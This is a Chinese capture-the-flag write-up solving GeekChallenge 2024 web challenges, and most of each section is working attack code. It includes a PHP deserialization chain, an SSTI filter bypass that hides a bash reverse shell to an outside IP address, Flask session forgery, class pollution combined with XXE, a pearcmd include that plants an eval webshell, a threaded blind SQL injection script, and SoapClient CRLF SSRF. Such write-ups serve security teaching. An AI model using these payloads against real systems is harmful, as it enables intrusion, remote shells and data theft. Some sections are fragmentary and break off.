ezpop

php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}

if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}

考点是exit死亡绕过,这里正则过滤了很多编码方式如果没有过滤%还可以使用二次编码绕过,但是这里过滤了,还可以用.htaccess进行预包含,然后读取flag。参考文章:file_put_content和死亡·杂糅代码之缘-先知社区

链子顺序很简单

1
lover::__destruct() → Geek::__get() → lover::__invoke() → Geek::__toString() → SYC::__call()

然后对meimeng进行了过滤,这里使用大写S即可绕过,代表解析十六进制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
Class SYC
{
public $starven ="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
}

Class lover{
public $J1rry="data://text/plain,Welcome GeekChallenge 2024";
public $meimeng;


}
Class Geek{
public $GSBP;

}
$exp= new lover();
$exp->meimeng=new Geek();
$exp->meimeng->GSBP=new lover();
$exp->meimeng->GSBP->meimeng=new Geek();
$exp->meimeng->GSBP->meimeng->GSBP=new SYC();

$a=serialize($exp);
$b=str_replace("s:7:\"meimeng\";","S:7:\"meimen\\67\";",$a);
echo urlencode($b);

Problem_On_My_Web

留言板题目首先考虑ssti和xss,这个题有两个路由 /forms提交留言 /manager访问 %90xss了

<script>alert(1)</script> 测试成功

image-20250717155337685

我习惯使用xss平台

image-20250717155500123

image-20250717163126726

成功

image-20250717163143172

ez_http

image-20250718015511032

获取到cookie 有secret_key Starven_secret_key

image-20250718015738846

改下token就对了

SecretInDrivingSchool

F12看到L000G1n.php 登录框 帐号无脑猜测admin 三位字母+@chengxing 密码爆破就是SYC@chengxing

进入管理面板 修改php源码

image-20250718020449321

改为

1
2
3
<?
echo readgzfile("/flag");
?>

然后去页面底部看到flag

baby_upload

image-20250718021502058

这样就可以绕过过滤image-20250718022112732

Can_you_Pass_Me

{{}} 过滤了然后有黑名单

1
'{{', '[', '+', '%2B', '%2b', 'read', 'popen', 'os', 'request', 'getitem', 'class','base','os','subclasses','getattribute','__builtins__','__globals__','get','/'

我使用的bash反弹 因为这个题是不能把flag明文直接输出到这个页面

1
{%print (QAQ.__eq__|attr('_''_globals__')|attr('g''et')('_''_builtins__')).__import__('o''s')|attr('p''open')("\x62\x61\x73\x68\x20\x2d\x63\x20\x22\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x34\x37\x2e\x31\x30\x39\x2e\x32\x30\x37\x2e\x31\x32\x33\x2f\x31\x32\x33\x34\x20\x30\x3e\x26\x31\x22")|attr('r''ead')()%}

image-20250718022526145

py_game

登录进去 看到session 使用flask-unsign进行session伪造

image-20250718024211910

flask-unsign --unsign --cookie "eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMTIzIn0.aHlBfg.kwGwxAHbbA0O1bn_0ZlRG-oCAmY"

image-20250718024315107

flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret 'a123456' eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.aHlE-w.nB3vpPtfKPGUFrvwAf7omq5zx_U

image-20250718024641850

进去面板 反编译pyc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password


def check(self, data):
if self.username == data['username']:
pass
return self.password == data['password']


admin = User('admin', '123456j1rrynonono')
Users = [
admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)



def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))

new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
return None('register.html')

register = app.route('/register', [
'GET',
'POST'], **('methods',))(register)

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({
'username': username,
'password': password }):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))

flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
return None('login.html')

login = app.route('/login', [
'GET',
'POST'], **('methods',))(login)

def play():
pass
# WARNING: Decompyle incomplete

play = app.route('/play', [
'GET',
'POST'], **('methods',))(play)

def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', session['username'], **('username',))
None('你没有权限访问', 'error')
return redirect(url_for('login'))

admin = app.route('/admin', [
'GET',
'POST'], **('methods',))(admin)

def downloads321():
return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
return render_template('index.html')

index = app.route('/')(index)

def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
None('请先登录', 'error')
return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():

try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None

try:
return str(e)
e = None
del e
return None



xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True


def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:

try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功' }), 200)
return None
except Exception:
e = None

try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None



update_route = app.route('/update', [
'POST'], **('methods',))(update_route)
if __name__ == '__main__':
app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))

有一个xxe注入和一个python的原型链污染

1
2
3
4
5
6
7
8
9
10
11
{
"\u005F\u005Finit__": {
"\u005F\u005Fglobals__": {
"app": {
"config": {
"xml_data": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [\n <!ENTITY xxe SYSTEM \"F\u0069\u006C\u0065:///flag\">\n]>\n<foo>&xxe;</foo>"
}
}
}
}
}

image-20250718025231955

然后去访问

image-20250718025319079

rce_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}

echo "Welcome to GeekChallenge2024!<br>";

if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";

foreach ($_GET as $key => $value) {
$$key = $value;
}

if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}

if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);
} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

image-20250718030113567

100%的⚪

image-20250718030555466

image-20250718030615878

ez_js

输入账号密码抓包 得到 然后提示image-20250718031351509

帐号密码改为image-20250718031429998

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const { merge } = require('./utils/common.js'); 

function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};

merge(geeker, req.body);

if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}else{
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}else{
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}

<h1>function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
module.exports = { merge };

ez_include

进去就是require文件包含 使用poc

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

得到base64

1
2
3
<?php
$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
?>

到下一个路径

开启了register_argc_argv = On 明显的pearcmd.php包含

1
levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/cmd.php
1
2
?syc=/tmp/cmd.php
1=system('env');

image-20250719154924950

这题我没打通 但是做法是这样的

funnySQL

由于是复现直接可以看到waf捏

1
2
3
if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
die('不准用!')
}

并且这个sql没有回显,所以就考虑使用盲注,sleep被禁了使用benchmark =使用like代替 不能使用ASCII直接使用字母

1
'||if(substr((SELECT/**/database()),{i},1)/**/like/**/'{j}',BENCHMARK(1000000,MD5('0ran9e')),0)%23

information被禁止 用mysql.innodb_table_stats代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import string
url = "http://80-bf7876f6-f16a-43dc-8cdc-67fd16d95a36.challenge.ctfplus.cn/index.php?username="
DICT = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\\]^`{|}~"
dicts = string.ascii_lowercase+string.digits+"-"+"{}"

def check_char(i, j, payload):
start = time.time()
res = requests.get(url + payload)
end = time.time()
return end - start, j


def main():
flag = ""
for i in range(1, 100):
with ThreadPoolExecutor(max_workers=20) as executor:
future_to_char = {}
for j in dicts:
#payload = f"1'||if(substr((SELECT/**/database()),{i},1)/**/like/**/'{j}',BENCHMARK(1000000,MD5('0ran9e')),0)%23"
#payload = f"'||if((substr((SELECT/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'syclover'),{i},1)/**/like/**/'{j}'),benchmark(10000000,sha1(1)),0)%23"
payload = f"'||if((substr((SELECT/**/group_concat(flag)/**/from/**/Rea11ys3ccccccr3333t),{i},1)/**/like/**/'{j}'),benchmark(10000000,sha1(1)),0)%23"

future = executor.submit(check_char, i, j, payload)
future_to_char[future] = j

for future in as_completed(future_to_char):
elapsed_time, char = future.result()
if elapsed_time > 2.5:
flag += char
print(f"flag so far: {flag}")
break
print("flag ", flag)


if __name__ == '__main__':
main()

数据名为syclover 表名为Rea11ys3ccccccr3333t 列名flag

image-20250719204018496

syc换成大写SYC就对了

ez_SSRF

首先扫出www.zip 有源码三个php文件 审计过后

外网使用的是h4d333333.php 内网使用的是calculator.php

h4d333333.php 有一个与原生类SoapClient可以进行SSRF 本来题目就是SSRF

参考文章利用SoapClient类进行SSRF+CRLF攻击 | Xiaojian Yuan’s Homepage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = "expression=system('cat /flag >1.txt');";
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Sauy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

只需要useragent那一段

1
Sauy%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 36%0d%0a%0d%0aexpression=system('cat /flag>1.txt');

cookie也要加上image-20250720151027366

访问1.txt即可拿到flag

jwt_pickle

ez_include

-